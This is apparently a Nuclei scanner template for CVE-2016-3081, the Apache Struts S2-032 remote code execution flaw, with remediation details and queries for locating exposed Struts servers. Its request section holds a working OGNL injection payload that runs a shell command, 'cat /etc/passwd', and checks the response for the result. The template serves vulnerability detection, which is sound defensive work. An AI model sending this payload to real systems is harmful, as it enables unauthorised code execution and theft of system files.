Apache S2-032 Struts - Remote Code Execution

id: CVE-2016-3081

info:
  name: Apache S2-032 Struts - Remote Code Execution
  author: dhiyaneshDK
  severity: high
  description: |
    Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions).
  impact: |
    Remote code execution
  remediation: |
    Upgrade to Apache Struts version 2.3.20.2, 2.3.24.2, or 2.3.28.1.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-032
    - https://struts.apache.org/docs/s2-032.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-3081
    - http://web.archive.org/web/20211207042547/https://securitytracker.com/id/1035665
    - http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160527-01-struts2-en
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2016-3081
    cwe-id: CWE-77
    epss-score: 0.94198
    epss-percentile: 0.99923
    cpe: cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve2016,cve,struts,rce,apache,vuln

http:
  - raw:
      - |
        GET /index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bcd76a7d1a3000504cd98ab3bc258341cbefb47b74a7108ea2ddb34b74b447b70221008df5cd4fddf746ea441b7c4630ee92b3543274aed806f4dc5f9c7bc36fef45dd:922c64590222798bb761d5b6d8e72950